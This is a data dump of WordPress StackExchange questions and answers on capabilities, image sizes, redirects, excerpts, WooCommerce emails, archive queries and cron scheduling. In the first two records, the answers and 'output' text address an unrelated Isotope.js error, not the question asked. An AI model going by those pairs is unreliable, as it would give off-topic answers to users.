qid
int64
4
8.14M
question
stringlengths
20
48.3k
answers
list
date
stringlengths
10
10
metadata
list
input
stringlengths
12
45k
output
stringlengths
2
31.8k
290,195
<p>I would like to allow contributors to upload media by using the following code added to <code>functions.php</code>. But the Add Media Button still doesn't show up.</p> <pre class="lang-php prettyprint-override"><code>// Allow Contributors to Add Media if ( current_user_can('contributor') &amp;&amp; ! current_user_can('upload_files') ) { add_action('admin_init', 'allow_contributor_uploads'); function allow_contributor_uploads() { $contributor = get_role('contributor'); $contributor-&gt;add_cap('upload_files'); } } </code></pre>
[ { "answer_id": 290186, "author": "Cedon", "author_id": 80069, "author_profile": "https://wordpress.stackexchange.com/users/80069", "pm_score": 1, "selected": false, "text": "<p>Looks like there maybe a problem with your <code>plugins.js</code> on line 35 according to my console. I'm getting the error <code>TypeError: portfolioContainer.imagesLoaded is not a function.</code></p>\n\n<p>The code in question is:</p>\n\n<pre><code>if (jQuery().isotope){\n var portfolioContainer = jQuery('.w-portfolio.type_sortable .w-portfolio-list-h');\n if (portfolioContainer) {\n portfolioContainer.imagesLoaded(function(){\n portfolioContainer.isotope({\n itemSelector : '.w-portfolio-item',\n layoutMode : 'fitRows'\n });\n });\n\n jQuery('.w-filters-item').each(function() {\n var item = jQuery(this),\n link = item.find('.w-filters-item-link');\n link.click(function(){\n if ( ! item.hasClass('active')) {\n jQuery('.w-filters-item').removeClass('active');\n item.addClass('active');\n var selector = jQuery(this).attr('data-filter');\n portfolioContainer.isotope({ filter: selector });\n return false;\n }\n\n });\n });\n jQuery('.w-portfolio-item-meta-tags a').each(function() {\n\n jQuery(this).click(function(){\n var selector = jQuery(this).attr('data-filter'),\n topFilterLink = jQuery('a[class=\"w-filters-item-link\"][data-filter=\"'+selector+'\"]'),\n topFilter = topFilterLink.parent('.w-filters-item');\n if ( ! topFilter.hasClass('active')) {\n jQuery('.w-filters-item').removeClass('active');\n topFilter.addClass('active');\n portfolioContainer.isotope({ filter: selector });\n return false;\n }\n\n });\n });\n\n }\n</code></pre>\n\n<p>So it looks like it's an issue with the <a href=\"https://isotope.metafizzy.co/\" rel=\"nofollow noreferrer\">Isotope.js</a> library and how your theme is implementing it. I tried to look at the theme itself in a demo but it is apparently no longer available.</p>\n\n<p>Since it is a premium theme, you might want to check with the place you got it from and look into support.</p>\n" }, { "answer_id": 290194, "author": "Gary D", "author_id": 51921, "author_profile": "https://wordpress.stackexchange.com/users/51921", "pm_score": 0, "selected": false, "text": "<p>imagesLoaded is a js library made by the same author as isotope.js -\na script that is included in your footer. My guess is <a href=\"https://imagesloaded.desandro.com/\" rel=\"nofollow noreferrer\">imagesLoaded</a> is not being enqueued properly, or should have been included in your build of isotope.js.</p>\n" } ]
2018/01/05
[ "https://wordpress.stackexchange.com/questions/290195", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/133386/" ]
I would like to allow contributors to upload media by using the following code added to `functions.php`. But the Add Media Button still doesn't show up. ```php // Allow Contributors to Add Media if ( current_user_can('contributor') && ! current_user_can('upload_files') ) { add_action('admin_init', 'allow_contributor_uploads'); function allow_contributor_uploads() { $contributor = get_role('contributor'); $contributor->add_cap('upload_files'); } } ```
Looks like there maybe a problem with your `plugins.js` on line 35 according to my console. I'm getting the error `TypeError: portfolioContainer.imagesLoaded is not a function.` The code in question is: ``` if (jQuery().isotope){ var portfolioContainer = jQuery('.w-portfolio.type_sortable .w-portfolio-list-h'); if (portfolioContainer) { portfolioContainer.imagesLoaded(function(){ portfolioContainer.isotope({ itemSelector : '.w-portfolio-item', layoutMode : 'fitRows' }); }); jQuery('.w-filters-item').each(function() { var item = jQuery(this), link = item.find('.w-filters-item-link'); link.click(function(){ if ( ! item.hasClass('active')) { jQuery('.w-filters-item').removeClass('active'); item.addClass('active'); var selector = jQuery(this).attr('data-filter'); portfolioContainer.isotope({ filter: selector }); return false; } }); }); jQuery('.w-portfolio-item-meta-tags a').each(function() { jQuery(this).click(function(){ var selector = jQuery(this).attr('data-filter'), topFilterLink = jQuery('a[class="w-filters-item-link"][data-filter="'+selector+'"]'), topFilter = topFilterLink.parent('.w-filters-item'); if ( ! topFilter.hasClass('active')) { jQuery('.w-filters-item').removeClass('active'); topFilter.addClass('active'); portfolioContainer.isotope({ filter: selector }); return false; } }); }); } ``` So it looks like it's an issue with the [Isotope.js](https://isotope.metafizzy.co/) library and how your theme is implementing it. I tried to look at the theme itself in a demo but it is apparently no longer available. Since it is a premium theme, you might want to check with the place you got it from and look into support.
290,225
<p>I have many containers over the said image itself such as <code>col-md-10</code> which defines a <code>max-width</code> of 80% or so, this is how I generate my post:</p> <pre><code>&lt;article id="single-post-&lt;?php the_ID(); ?&gt;" &lt;?php post_class('single-post'); ?&gt;&gt; &lt;?php $post_share = new Post_Share( array( 'facebook', 'twitter', 'gplus', 'pinterest' ), $post, $style = 'share-style-2' ); echo $post_share-&gt;generate_share_links(); ?&gt; &lt;header class="single-post-header"&gt; &lt;div class="single-post-meta"&gt; &lt;?php echo _s_show_post_info( array( 'author','time', 'category') ); ?&gt; &lt;/div&gt;&lt;!-- .post-meta --&gt; &lt;?php the_title( '&lt;h1 class="single-post-title"&gt;','&lt;/h1&gt;' ); if ( has_category() ) : ?&gt; &lt;?php $categories = (array) wp_get_post_terms( get_the_ID(), 'category' ); if ( !is_wp_error( $categories ) &amp;&amp; !empty( $categories) ) { ?&gt; &lt;div class="single-post-secondary-meta"&gt; &lt;span class="single-post-category-span"&gt;posted in &lt;a class="single-post-category" href="&lt;?php echo get_term_link( $categories[0] )?&gt;"&gt;&lt;?php echo $categories[0] -&gt; name ?&gt; &lt;/a&gt; &lt;/span&gt; &lt;/div&gt;&lt;!-- .post-meta-2 --&gt; &lt;?php } ?&gt; &lt;?php endif; ?&gt; &lt;/header&gt;&lt;!-- .post-header --&gt; &lt;?php if ( has_post_thumbnail() ) : ?&gt; &lt;div class="single-post-thumbnail"&gt; &lt;a class="single-post-thumbnail-link" href="&lt;?php the_permalink(); ?&gt;" title="&lt;?php the_title_attribute(); ?&gt;"&gt; &lt;?php the_post_thumbnail(); ?&gt; &lt;/a&gt; &lt;/div&gt;&lt;!-- .post-thimbnail --&gt; &lt;?php endif; ?&gt; &lt;div class="single-post-content"&gt; &lt;?php //echo wp_trim_words( get_the_content(), 40, '...' ); the_content(); ?&gt; &lt;/div&gt;&lt;!-- .post-content --&gt; &lt;/article&gt;&lt;!-- #post-&lt;?php the_ID(); ?&gt; --&gt; &lt;?php get_template_part('template-parts/individual_post-related-posts'); ?&gt; </code></pre> <p>Specifically:</p> <pre><code>the_content(); </code></pre> <p>Unfortunately, inserting an image results in this:</p> <p><a href="https://i.stack.imgur.com/Dgo16.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Dgo16.png" alt="enter image description here"></a></p> <p>Setting <code>.post-content { width: 100%; }</code> fixes it, but given there are a lot of plugins out there and rules that can be over-written, this feels like a hack.</p> <p>What am I missing, why is this happening?</p>
[ { "answer_id": 290186, "author": "Cedon", "author_id": 80069, "author_profile": "https://wordpress.stackexchange.com/users/80069", "pm_score": 1, "selected": false, "text": "<p>Looks like there maybe a problem with your <code>plugins.js</code> on line 35 according to my console. I'm getting the error <code>TypeError: portfolioContainer.imagesLoaded is not a function.</code></p>\n\n<p>The code in question is:</p>\n\n<pre><code>if (jQuery().isotope){\n var portfolioContainer = jQuery('.w-portfolio.type_sortable .w-portfolio-list-h');\n if (portfolioContainer) {\n portfolioContainer.imagesLoaded(function(){\n portfolioContainer.isotope({\n itemSelector : '.w-portfolio-item',\n layoutMode : 'fitRows'\n });\n });\n\n jQuery('.w-filters-item').each(function() {\n var item = jQuery(this),\n link = item.find('.w-filters-item-link');\n link.click(function(){\n if ( ! item.hasClass('active')) {\n jQuery('.w-filters-item').removeClass('active');\n item.addClass('active');\n var selector = jQuery(this).attr('data-filter');\n portfolioContainer.isotope({ filter: selector });\n return false;\n }\n\n });\n });\n jQuery('.w-portfolio-item-meta-tags a').each(function() {\n\n jQuery(this).click(function(){\n var selector = jQuery(this).attr('data-filter'),\n topFilterLink = jQuery('a[class=\"w-filters-item-link\"][data-filter=\"'+selector+'\"]'),\n topFilter = topFilterLink.parent('.w-filters-item');\n if ( ! topFilter.hasClass('active')) {\n jQuery('.w-filters-item').removeClass('active');\n topFilter.addClass('active');\n portfolioContainer.isotope({ filter: selector });\n return false;\n }\n\n });\n });\n\n }\n</code></pre>\n\n<p>So it looks like it's an issue with the <a href=\"https://isotope.metafizzy.co/\" rel=\"nofollow noreferrer\">Isotope.js</a> library and how your theme is implementing it. I tried to look at the theme itself in a demo but it is apparently no longer available.</p>\n\n<p>Since it is a premium theme, you might want to check with the place you got it from and look into support.</p>\n" }, { "answer_id": 290194, "author": "Gary D", "author_id": 51921, "author_profile": "https://wordpress.stackexchange.com/users/51921", "pm_score": 0, "selected": false, "text": "<p>imagesLoaded is a js library made by the same author as isotope.js -\na script that is included in your footer. My guess is <a href=\"https://imagesloaded.desandro.com/\" rel=\"nofollow noreferrer\">imagesLoaded</a> is not being enqueued properly, or should have been included in your build of isotope.js.</p>\n" } ]
2018/01/05
[ "https://wordpress.stackexchange.com/questions/290225", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/133461/" ]
I have many containers over the said image itself such as `col-md-10` which defines a `max-width` of 80% or so, this is how I generate my post: ``` <article id="single-post-<?php the_ID(); ?>" <?php post_class('single-post'); ?>> <?php $post_share = new Post_Share( array( 'facebook', 'twitter', 'gplus', 'pinterest' ), $post, $style = 'share-style-2' ); echo $post_share->generate_share_links(); ?> <header class="single-post-header"> <div class="single-post-meta"> <?php echo _s_show_post_info( array( 'author','time', 'category') ); ?> </div><!-- .post-meta --> <?php the_title( '<h1 class="single-post-title">','</h1>' ); if ( has_category() ) : ?> <?php $categories = (array) wp_get_post_terms( get_the_ID(), 'category' ); if ( !is_wp_error( $categories ) && !empty( $categories) ) { ?> <div class="single-post-secondary-meta"> <span class="single-post-category-span">posted in <a class="single-post-category" href="<?php echo get_term_link( $categories[0] )?>"><?php echo $categories[0] -> name ?> </a> </span> </div><!-- .post-meta-2 --> <?php } ?> <?php endif; ?> </header><!-- .post-header --> <?php if ( has_post_thumbnail() ) : ?> <div class="single-post-thumbnail"> <a class="single-post-thumbnail-link" href="<?php the_permalink(); ?>" title="<?php the_title_attribute(); ?>"> <?php the_post_thumbnail(); ?> </a> </div><!-- .post-thimbnail --> <?php endif; ?> <div class="single-post-content"> <?php //echo wp_trim_words( get_the_content(), 40, '...' ); the_content(); ?> </div><!-- .post-content --> </article><!-- #post-<?php the_ID(); ?> --> <?php get_template_part('template-parts/individual_post-related-posts'); ?> ``` Specifically: ``` the_content(); ``` Unfortunately, inserting an image results in this: [![enter image description here](https://i.stack.imgur.com/Dgo16.png)](https://i.stack.imgur.com/Dgo16.png) Setting `.post-content { width: 100%; }` fixes it, but given there are a lot of plugins out there and rules that can be over-written, this feels like a hack. What am I missing, why is this happening?
Looks like there maybe a problem with your `plugins.js` on line 35 according to my console. I'm getting the error `TypeError: portfolioContainer.imagesLoaded is not a function.` The code in question is: ``` if (jQuery().isotope){ var portfolioContainer = jQuery('.w-portfolio.type_sortable .w-portfolio-list-h'); if (portfolioContainer) { portfolioContainer.imagesLoaded(function(){ portfolioContainer.isotope({ itemSelector : '.w-portfolio-item', layoutMode : 'fitRows' }); }); jQuery('.w-filters-item').each(function() { var item = jQuery(this), link = item.find('.w-filters-item-link'); link.click(function(){ if ( ! item.hasClass('active')) { jQuery('.w-filters-item').removeClass('active'); item.addClass('active'); var selector = jQuery(this).attr('data-filter'); portfolioContainer.isotope({ filter: selector }); return false; } }); }); jQuery('.w-portfolio-item-meta-tags a').each(function() { jQuery(this).click(function(){ var selector = jQuery(this).attr('data-filter'), topFilterLink = jQuery('a[class="w-filters-item-link"][data-filter="'+selector+'"]'), topFilter = topFilterLink.parent('.w-filters-item'); if ( ! topFilter.hasClass('active')) { jQuery('.w-filters-item').removeClass('active'); topFilter.addClass('active'); portfolioContainer.isotope({ filter: selector }); return false; } }); }); } ``` So it looks like it's an issue with the [Isotope.js](https://isotope.metafizzy.co/) library and how your theme is implementing it. I tried to look at the theme itself in a demo but it is apparently no longer available. Since it is a premium theme, you might want to check with the place you got it from and look into support.
290,234
<p>how to prevent/block direct access to a thank you page, only access if redirected from submiiting a form (in a different page)?</p>
[ { "answer_id": 290237, "author": "kero", "author_id": 108180, "author_profile": "https://wordpress.stackexchange.com/users/108180", "pm_score": 4, "selected": true, "text": "<p>If the form is redirecting from one page only, you can easily use <a href=\"https://developer.wordpress.org/reference/functions/wp_get_referer/\" rel=\"nofollow noreferrer\"><code>wp_get_referer()</code></a> to check for it and if not, redirect.</p>\n<pre><code>add_action('template_redirect', function() {\n // ID of the thank you page\n if (!is_page(12345)) {\n return;\n }\n\n // coming from the form, so all is fine\n if (wp_get_referer() === 'URL_OF_FORM') {\n return;\n }\n\n // we are on thank you page\n // visitor is not coming from form\n // so redirect to home\n wp_redirect(get_home_url());\n exit;\n} );\n</code></pre>\n" }, { "answer_id": 305707, "author": "Purna Chandra Sahoo", "author_id": 145079, "author_profile": "https://wordpress.stackexchange.com/users/145079", "pm_score": 1, "selected": false, "text": "<p>Don't know why the above code don't work for me. However the below code worked perfectly.</p>\n\n<pre><code>&lt;?php\n function thank_you_rd(){\n if ( ! is_page('thank-you')) {\n return;\n }\n if (wp_get_referer() == '/contact-us/') {\n return;\n }\n wp_redirect( get_home_url() );\n }\n add_action('template_redirect', 'thank_you_rd');\n?&gt;\n</code></pre>\n" } ]
2018/01/05
[ "https://wordpress.stackexchange.com/questions/290234", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/134311/" ]
how to prevent/block direct access to a thank you page, only access if redirected from submiiting a form (in a different page)?
If the form is redirecting from one page only, you can easily use [`wp_get_referer()`](https://developer.wordpress.org/reference/functions/wp_get_referer/) to check for it and if not, redirect. ``` add_action('template_redirect', function() { // ID of the thank you page if (!is_page(12345)) { return; } // coming from the form, so all is fine if (wp_get_referer() === 'URL_OF_FORM') { return; } // we are on thank you page // visitor is not coming from form // so redirect to home wp_redirect(get_home_url()); exit; } ); ```
290,246
<p>I'm working on my own custom theme (first custom WP work so I'm a real beginner) and need help in listing the first 20 words of a list of recent posts. </p> <p>I managed to solve this with manual? excerpt but I would like to just get the first 20 words of the content, but not sure how to best do that. The application is in a list on my start page. </p> <p>My current code looks like this</p> <pre><code> &lt;?php $cdRP = get_theme_mod('cd_recent_posts', '3'); $args = array( 'numberposts' =&gt; $cdRP ); $recent_posts = wp_get_recent_posts( $args ); foreach( $recent_posts as $recent ){ echo '&lt;div class="grid-cell"&gt;&lt;a class="fpItems" href="' . get_permalink($recent["ID"]) . '"&gt;'; if ( has_post_thumbnail( $recent["ID"]) ) { echo '&lt;div&gt;' . get_the_post_thumbnail($recent["ID"],'thumbnail') . '&lt;/div&gt;'; } echo '&lt;div&gt;' . '&lt;h3&gt;' . $recent["post_title"] . '&lt;/h3&gt;' . '&lt;/div&gt;&lt;/a&gt;&lt;/div&gt;'; } wp_reset_query(); ?&gt; </code></pre> <p>All of this happens outside the loop. I tried to find the answer in the forums, but failed, so sorry if this has been asked and answered before. Trying my best to learn to code this wonderful tool my self :)</p>
[ { "answer_id": 290247, "author": "Ben Goodman", "author_id": 134320, "author_profile": "https://wordpress.stackexchange.com/users/134320", "pm_score": 1, "selected": false, "text": "<p>You can achieve this by using the following;</p>\n\n<pre><code>$content = get_the_content();\necho substr($content, 0, 20);\n</code></pre>\n\n<p>or</p>\n\n<pre><code>$content = get_the_excerpt();\necho substr($content, 0, 20);\n</code></pre>\n\n<p>This will limit the character count to 20.</p>\n" }, { "answer_id": 290249, "author": "Nicolai Grossherr", "author_id": 22534, "author_profile": "https://wordpress.stackexchange.com/users/22534", "pm_score": 4, "selected": true, "text": "<p>Use <a href=\"https://developer.wordpress.org/reference/functions/wp_trim_words/\" rel=\"nofollow noreferrer\"><code>wp_trim_words()</code></a></p>\n\n<pre><code>wp_trim_words( get_the_content(), 20 )\n</code></pre>\n\n<p>As you're outside the main loop</p>\n\n<pre><code>wp_trim_words( $recent[ 'post_content' ], 20 )\n</code></pre>\n\n<p>If you want to apply the same filters as to <code>the_content()</code> in the main loop</p>\n\n<pre><code>wp_trim_words( apply_filters( 'the_content', $recent[ 'post_content' ] ), 20 )\n</code></pre>\n" }, { "answer_id": 290251, "author": "Per", "author_id": 27546, "author_profile": "https://wordpress.stackexchange.com/users/27546", "pm_score": 2, "selected": false, "text": "<p>Working Solution turned out to be simple :)</p>\n\n<pre><code> &lt;?php\n $cdRP = get_theme_mod('cd_recent_posts', '3');\n $args = array( 'numberposts' =&gt; $cdRP );\n $recent_posts = wp_get_recent_posts( $args );\n foreach( $recent_posts as $recent ){\n echo '&lt;div class=\"grid-cell\"&gt;&lt;a class=\"fpItems\" href=\"' . get_permalink($recent[\"ID\"]) . '\"&gt;';\n if ( has_post_thumbnail( $recent[\"ID\"]) ) {\n echo '&lt;div&gt;' . get_the_post_thumbnail($recent[\"ID\"],'thumbnail') . '&lt;/div&gt;';\n }\n echo '&lt;div&gt;'\n . '&lt;h3&gt;' . $recent[\"post_title\"] . '&lt;/h3&gt;'\n\n . wp_trim_words( $recent[\"post_content\"], 20 )\n\n . '&lt;/div&gt;&lt;/a&gt;&lt;/div&gt;';\n }\n wp_reset_query();\n?&gt;\n</code></pre>\n" } ]
2018/01/05
[ "https://wordpress.stackexchange.com/questions/290246", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/27546/" ]
I'm working on my own custom theme (first custom WP work so I'm a real beginner) and need help in listing the first 20 words of a list of recent posts. I managed to solve this with manual? excerpt but I would like to just get the first 20 words of the content, but not sure how to best do that. The application is in a list on my start page. My current code looks like this ``` <?php $cdRP = get_theme_mod('cd_recent_posts', '3'); $args = array( 'numberposts' => $cdRP ); $recent_posts = wp_get_recent_posts( $args ); foreach( $recent_posts as $recent ){ echo '<div class="grid-cell"><a class="fpItems" href="' . get_permalink($recent["ID"]) . '">'; if ( has_post_thumbnail( $recent["ID"]) ) { echo '<div>' . get_the_post_thumbnail($recent["ID"],'thumbnail') . '</div>'; } echo '<div>' . '<h3>' . $recent["post_title"] . '</h3>' . '</div></a></div>'; } wp_reset_query(); ?> ``` All of this happens outside the loop. I tried to find the answer in the forums, but failed, so sorry if this has been asked and answered before. Trying my best to learn to code this wonderful tool my self :)
Use [`wp_trim_words()`](https://developer.wordpress.org/reference/functions/wp_trim_words/) ``` wp_trim_words( get_the_content(), 20 ) ``` As you're outside the main loop ``` wp_trim_words( $recent[ 'post_content' ], 20 ) ``` If you want to apply the same filters as to `the_content()` in the main loop ``` wp_trim_words( apply_filters( 'the_content', $recent[ 'post_content' ] ), 20 ) ```
290,259
<p>Our post have a Max width of 768, so using the medium_large images is the preferred size for our authors. I ssumed since medium_large isnpart of core, this would be included but I don't see an easy way to activate that option.</p> <p>Can this be activated as a new hook in our functions.php?</p>
[ { "answer_id": 290261, "author": "jas", "author_id": 80247, "author_profile": "https://wordpress.stackexchange.com/users/80247", "pm_score": 1, "selected": false, "text": "<p>Please go through <a href=\"https://wpshout.com/wordpress-custom-image-sizes/\" rel=\"nofollow noreferrer\">link for details</a> I hope this may help to add your custom preferred size. </p>\n\n<pre><code>// Make sure featured images are enabled\nadd_theme_support( 'post-thumbnails' );\n\n// Add featured image sizes\nadd_image_size( 'featured-large', 640, 294, true ); // width, height, crop\nadd_image_size( 'featured-small', 320, 147, true );\n\n// Add other useful image sizes for use through Add Media modal\nadd_image_size( 'medium-width', 480 );\nadd_image_size( 'medium-height', 9999, 480 );\nadd_image_size( 'medium-something', 480, 480 );\n\n// Register the three useful image sizes for use in Add Media modal\nadd_filter( 'image_size_names_choose', 'wpshout_custom_sizes' );\nfunction wpshout_custom_sizes( $sizes ) {\n return array_merge( $sizes, array(\n 'medium-width' =&gt; __( 'Medium Width' ),\n 'medium-height' =&gt; __( 'Medium Height' ),\n 'medium-something' =&gt; __( 'Medium Something' ),\n ) );\n}\n</code></pre>\n" }, { "answer_id": 290273, "author": "FreshClicks", "author_id": 76979, "author_profile": "https://wordpress.stackexchange.com/users/76979", "pm_score": 3, "selected": true, "text": "<p>since I'm using a size already generated by WP, I just needed to add:</p>\n\n<pre><code>add_filter( 'image_size_names_choose', 'fresh_custom_sizes' );\nfunction fresh_custom_sizes( $sizes ) {\n return array_merge( $sizes, array(\n 'medium_large' =&gt; __( 'Medium Large' ),\n ) );\n}\n</code></pre>\n" } ]
2018/01/05
[ "https://wordpress.stackexchange.com/questions/290259", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/76979/" ]
Our post have a Max width of 768, so using the medium\_large images is the preferred size for our authors. I ssumed since medium\_large isnpart of core, this would be included but I don't see an easy way to activate that option. Can this be activated as a new hook in our functions.php?
since I'm using a size already generated by WP, I just needed to add: ``` add_filter( 'image_size_names_choose', 'fresh_custom_sizes' ); function fresh_custom_sizes( $sizes ) { return array_merge( $sizes, array( 'medium_large' => __( 'Medium Large' ), ) ); } ```
290,301
<p>I'm new to WooCommerce and I have had a request to make a minor change to the new order email which I have managed to find the template, but I am not sure which line I should change.</p> <p>At the moment the new order email has:</p> <blockquote> <p>You have received an order from (billing address first name)</p> </blockquote> <p>But I want to change it to:</p> <blockquote> <p>You have received an order from (username which made the order)</p> </blockquote> <p>Is this possible? Would this just change the variable the email is using?</p> <p>Thanks in advance.</p>
[ { "answer_id": 290365, "author": "admcfajn", "author_id": 123674, "author_profile": "https://wordpress.stackexchange.com/users/123674", "pm_score": 1, "selected": false, "text": "<p>Yes, it's possible.</p>\n\n<p>Copy the email folder from the plugin directory to a woocommerce folder in your child-theme.</p>\n\n<pre><code>/wp-content/plugins/woocommerce/template/emails/admin-new-order.php\n</code></pre>\n\n<p>gets copied to</p>\n\n<pre><code>/wp-content/themes/your-theme/woocommerce/emails/admin-new-order.php\n</code></pre>\n\n<p>Then you can change the email template to suit your needs.</p>\n" }, { "answer_id": 290390, "author": "Woohelp", "author_id": 134354, "author_profile": "https://wordpress.stackexchange.com/users/134354", "pm_score": 2, "selected": false, "text": "<p>I have found the line I need to edit I think </p>\n\n<pre><code>&lt;p&gt;&lt;?php printf( __( 'You have received an order from %s. The order is as follows:', 'woocommerce' ), $order-&gt;get_formatted_billing_full_name() ); ?&gt;&lt;/p&gt;\n</code></pre>\n\n<p>would that change to</p>\n\n<pre><code>&lt;p&gt;&lt;?php printf( __( 'You have received an order from %s. The order is as follows:', 'woocommerce' ), $order-&gt;get_user() ); ?&gt;&lt;/p&gt;\n</code></pre>\n" } ]
2018/01/06
[ "https://wordpress.stackexchange.com/questions/290301", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/134354/" ]
I'm new to WooCommerce and I have had a request to make a minor change to the new order email which I have managed to find the template, but I am not sure which line I should change. At the moment the new order email has: > > You have received an order from (billing address first name) > > > But I want to change it to: > > You have received an order from (username which made the order) > > > Is this possible? Would this just change the variable the email is using? Thanks in advance.
I have found the line I need to edit I think ``` <p><?php printf( __( 'You have received an order from %s. The order is as follows:', 'woocommerce' ), $order->get_formatted_billing_full_name() ); ?></p> ``` would that change to ``` <p><?php printf( __( 'You have received an order from %s. The order is as follows:', 'woocommerce' ), $order->get_user() ); ?></p> ```
290,302
<p>I've been trying to change the number of posts that is displayed on my CPT movie-review archive page and I've tried about 20 - 30 different variations (and even a few plugins), but no luck. It is <strong>stuck at 5 posts</strong>, even though I know I have 10. There is also no pagination. update: fixed that.</p> <p>Most of the variations I've tried look something like this</p> <pre><code>function wpd_testimonials_query( $query ){ if( ! is_admin() &amp;&amp; $query-&gt;is_post_type_archive( 'reviews' ) &amp;&amp; $query-&gt;is_main_query() ){ $query-&gt;set( 'posts_per_page', 15 ); } } add_action( 'pre_get_posts', 'wpd_testimonials_query' ); </code></pre> <p>and adding this to functions.php doesn't change anything.</p> <p>The setup so far: child theme with functions.php &amp; custom post type-archive.php in that archive page I run the standard wordpress loop</p> <pre><code>if (have_posts()) : while (have_posts()) : the_post(); ?&gt; </code></pre> <p>Any help would be greatly appreciated!</p> <p>update 2: changed number from 5 to 15 as it was confusing that it looked like I was trying to change it to what I am stuck at.</p>
[ { "answer_id": 290318, "author": "Andrew", "author_id": 50767, "author_profile": "https://wordpress.stackexchange.com/users/50767", "pm_score": 0, "selected": false, "text": "<p>Your <code>wpd_testimonials_query</code> function is limiting the query to 5 posts with this line:</p>\n\n<p><code>$query-&gt;set( 'posts_per_page', 5 );</code></p>\n\n<p>Changing this number to 10, 15, 20, whatever will limit the query to that many posts per page.</p>\n\n<p>If you remove this line and don't set <code>posts_per_page</code> the default value of 10 will be used. This default value can be updated via the <strong>Blog pages show at most</strong> option from the <strong>Settings > Reading</strong> options page and this value will be applied to all archive pages site-wide.</p>\n\n<p>It's also worth calling your function with a higher priority in case there's multiple functions running on the <code>pre_get_posts</code> hook.</p>\n\n<p><code>add_action( 'pre_get_posts', 'wpd_testimonials_query', 1, 999 );</code></p>\n" }, { "answer_id": 290609, "author": "Philip Aarseth", "author_id": 134352, "author_profile": "https://wordpress.stackexchange.com/users/134352", "pm_score": 2, "selected": true, "text": "<p>Using the Query Monitor suggested by <a href=\"https://wordpress.stackexchange.com/users/50767/andrew\">@Andrew</a> (Thanks, Andrew!) I found a little gem in my parent theme that overrides everything set in my function. </p>\n\n<p>I found out wordpress loads the child themes functions.php first\n<code>myfunction{\n$query-&gt;set( 'posts_per_page', 15 );\n}</code></p>\n\n<p>so when it later loaded</p>\n\n<p><code>lameparentfunction{\n$query-&gt;set( 'posts_per_page', 5 );\n}</code>\nIt undid the changes I did.</p>\n" } ]
2018/01/06
[ "https://wordpress.stackexchange.com/questions/290302", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/134352/" ]
I've been trying to change the number of posts that is displayed on my CPT movie-review archive page and I've tried about 20 - 30 different variations (and even a few plugins), but no luck. It is **stuck at 5 posts**, even though I know I have 10. There is also no pagination. update: fixed that. Most of the variations I've tried look something like this ``` function wpd_testimonials_query( $query ){ if( ! is_admin() && $query->is_post_type_archive( 'reviews' ) && $query->is_main_query() ){ $query->set( 'posts_per_page', 15 ); } } add_action( 'pre_get_posts', 'wpd_testimonials_query' ); ``` and adding this to functions.php doesn't change anything. The setup so far: child theme with functions.php & custom post type-archive.php in that archive page I run the standard wordpress loop ``` if (have_posts()) : while (have_posts()) : the_post(); ?> ``` Any help would be greatly appreciated! update 2: changed number from 5 to 15 as it was confusing that it looked like I was trying to change it to what I am stuck at.
Using the Query Monitor suggested by [@Andrew](https://wordpress.stackexchange.com/users/50767/andrew) (Thanks, Andrew!) I found a little gem in my parent theme that overrides everything set in my function. I found out wordpress loads the child themes functions.php first `myfunction{ $query->set( 'posts_per_page', 15 ); }` so when it later loaded `lameparentfunction{ $query->set( 'posts_per_page', 5 ); }` It undid the changes I did.
290,333
<p>I have created this interval in my functions.php:</p> <pre><code>function minute_interval( $schedules ) { $schedules['minute'] = array( 'interval' =&gt; 60, 'display' =&gt; __('Every minute') ); return $schedules; } add_filter( 'cron_schedules', 'minute_interval' ); </code></pre> <p>I have this scheduled event in my plugin:</p> <pre><code>if (! wp_next_scheduled ( 'my_event' )) { wp_schedule_event( time(), 'minute', 'my_event'); } add_action( 'my_event', 'my_function' ); function my_function() { update_option('test_option', 'test_value'); } </code></pre> <p>The event is added to the scheduled events list. However, it seems not to start my_function() as Wordpress does not create or update "test_option".</p> <p>Others scheduled events from Wordpress are working well.</p> <p>Any idea how I could make my event work?</p> <p>Edit: after installing WP control, here's what is displayed :</p> <p><a href="https://i.stack.imgur.com/MzptN.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/MzptN.png" alt="enter image description here"></a></p> <p>edit2: my wp_schedule_event() and my_function() are both in the initialization function of my plugin, which is started when my plugin is activated.</p>
[ { "answer_id": 290357, "author": "KAGG Design", "author_id": 108721, "author_profile": "https://wordpress.stackexchange.com/users/108721", "pm_score": 1, "selected": false, "text": "<p>You have to add filter:</p>\n\n<pre><code>add_filter( 'cron_schedules', 'minute_interval' );\n</code></pre>\n\n<p>Otherwise your function minute_interval is not invoked, interval is not defined, and event doesn't work. </p>\n" }, { "answer_id": 290362, "author": "Gaston Flanchard", "author_id": 63073, "author_profile": "https://wordpress.stackexchange.com/users/63073", "pm_score": 0, "selected": false, "text": "<p>I had to move my_function() outside my plugin init function.</p>\n" } ]
2018/01/06
[ "https://wordpress.stackexchange.com/questions/290333", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/63073/" ]
I have created this interval in my functions.php: ``` function minute_interval( $schedules ) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Every minute') ); return $schedules; } add_filter( 'cron_schedules', 'minute_interval' ); ``` I have this scheduled event in my plugin: ``` if (! wp_next_scheduled ( 'my_event' )) { wp_schedule_event( time(), 'minute', 'my_event'); } add_action( 'my_event', 'my_function' ); function my_function() { update_option('test_option', 'test_value'); } ``` The event is added to the scheduled events list. However, it seems not to start my\_function() as Wordpress does not create or update "test\_option". Others scheduled events from Wordpress are working well. Any idea how I could make my event work? Edit: after installing WP control, here's what is displayed : [![enter image description here](https://i.stack.imgur.com/MzptN.png)](https://i.stack.imgur.com/MzptN.png) edit2: my wp\_schedule\_event() and my\_function() are both in the initialization function of my plugin, which is started when my plugin is activated.
You have to add filter: ``` add_filter( 'cron_schedules', 'minute_interval' ); ``` Otherwise your function minute\_interval is not invoked, interval is not defined, and event doesn't work.
290,351
